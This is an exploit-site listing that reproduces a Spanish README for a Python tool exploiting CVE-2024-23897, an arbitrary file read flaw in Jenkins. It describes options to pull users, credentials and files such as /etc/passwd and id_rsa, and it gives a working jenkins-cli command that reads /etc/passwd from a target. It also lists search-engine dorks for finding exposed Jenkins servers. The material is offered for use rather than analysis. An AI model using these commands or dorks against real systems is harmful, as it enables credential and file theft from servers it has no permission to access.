Sploitus

Exploit for Path Traversal in Jenkins

CVE-2024-23897

githubexploit · 2024-02-20

Exploit Code

README57 lines
## https://sploitus.com/exploit?id=A6842F8C-1D13-5402-8806-0565836D2DF5
🤵🏻 CVE-2024-23897 Arbitrary-file-read 🤵🏻
=============
-------------

Versiones afectadas:

- Jenkins 2.441 y anteriores.
- Jenkins LTS 2.426.2 y anteriores.
    
Un script realizado en python para atumatizar la vulnerabilidad CVE-2024-23897 🤖 🛠️

Este código Python presenta un escáner para una vulnerabilidad específica (CVE-2024-23897) en servidores Jenkins. 
Comienza solicitando al usuario la URL del servidor Jenkins.

Luego, ofrece la opción de descargar el archivo "jenkins-cli.jar" necesario para interactuar con Jenkins desde la línea de comandos. Después, presenta un menú de opciones que incluye ejecutar comandos como obtener información del servidor, del entorno, de configuración de Jenkins, de usuarios, de credenciales, así como realizar lecturas de archivos sensibles como "/etc/passwd", "/etc/os-release" y "id_rsa". 

Una vez que se selecciona una opción del menú, se ejecuta el comando correspondiente en el servidor Jenkins proporcionado. El código está estructurado con funciones para descargar el archivo y ejecutar los comandos, y una función principal para manejar el flujo del programa.

Ejecucion para servidor Jenkins đź“ť:

    python3 CVE-2024-23897-A-scaner.py 


ejecucion para servidor Jenkins EN DOCKER đź“ť:

    python3  CVE-2024-23897-B-DOCKER-scaner.py
    ---------------------------------------------------------------------------------------------------------------------------------
ejecucion manual.

1- descargar jenkins-cli.jar : http:///jnlpJars/jenkins-cli.jar

2- para realizar LFI, ejecutar: java -jar jenkins-cli.jar -s http://172.17.0.2:8080/ -http connect-node "@/etc/passwd" 

_________________________________________________________________________________________________________

dork list:

intitle:"Dashboard [Jenkins]" inurl:"/login"

intitle:"Jenkins" "Dashboard"

inurl:"/computer/" intitle:"Jenkins"

inurl:"/script" intitle:"Jenkins"

"Jenkins [Jenkins]" intitle:"Login"

intitle:"Jenkins" "Jenkins ver. 2.441"

inurl:"/manage" intitle:"Jenkins"

site:.com intitle:"Jenkins"

site:aws.amazon.com intitle:"Jenkins"

filetype:xml inurl:"jenkins/config.xml"